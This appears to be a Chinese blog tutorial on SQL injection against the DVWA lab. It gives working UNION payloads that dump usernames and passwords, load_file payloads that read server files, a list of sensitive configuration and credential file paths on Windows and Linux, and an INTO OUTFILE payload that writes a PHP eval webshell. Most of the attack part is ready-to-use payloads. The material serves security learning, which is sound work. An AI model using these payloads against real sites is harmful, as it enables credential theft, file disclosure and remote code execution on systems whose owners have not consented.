  • 獲取所有欄位內容

'union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit#

在這裡插入圖片描述

  • 對伺服器檔案進行讀寫操作(前提條件)

1、需要知道遠端目錄
2、需要遠端目錄有寫許可權
3、上傳目錄是否有指令碼執行許可權
4、需要資料庫開啟secure_file_priv 相當於secure_file_priv的值為空,不為空不充許寫入webshell (預設不開啟,需要修改my.ini配置檔案,新增:secure_file_priv='')當這個關鍵點啟動了,才能執行獲取webshell等操作
  • 獲取web路徑的方法

1、 路徑記得轉化為十六進位制

%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit #

在這裡插入圖片描述

2、常見WINDOWS下配置檔案

c:/windows/php.ini //php配置資訊
c:/windows/my.ini //MYSQL配置檔案,記錄管理員登陸過的MYSQL使用者名稱和密碼
c:\mysql\data\mysql\user.MYD //儲存了mysql.user表中的資料庫連線密碼
c:\windows\system32\inetsrv\MetaBase.xml 檢視IIS的虛擬主機配置
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam //儲存了WINDOWS系統初次安裝的密碼

3、LUNIX/UNIX 下

/usr/local/app/apache2/conf/httpd.conf //apache2預設配置檔案
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設定
/usr/local/app/php5/lib/php.ini //PHP相關設定
/etc/sysconfig/iptables //從中得到防火牆規則策略
/etc/httpd/conf/httpd.conf // apache配置檔案
/etc/rsyncd.conf //同步程式配置檔案
/etc/my.cnf //mysql的配置檔案
/etc/redhat-release //系統版本
/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置檔案檢視

  • 伺服器讀取檔案

'union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit#

在這裡插入圖片描述

  • 寫webshell獲取許可權

'union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit#

·

在這裡插入圖片描述

在這裡插入圖片描述

補充:

SQL中的特殊符號:

' 是 單引號
" 是雙引號
& 是並且
||是連線符
@是定義變數
%是模糊查詢符號

*是萬用字元

()是括號

--是註釋

在MySQL中採用的是"#"方式進行單行註釋。

對數字型來說,注入的那裡,and前面是不能加分號的。

相關文章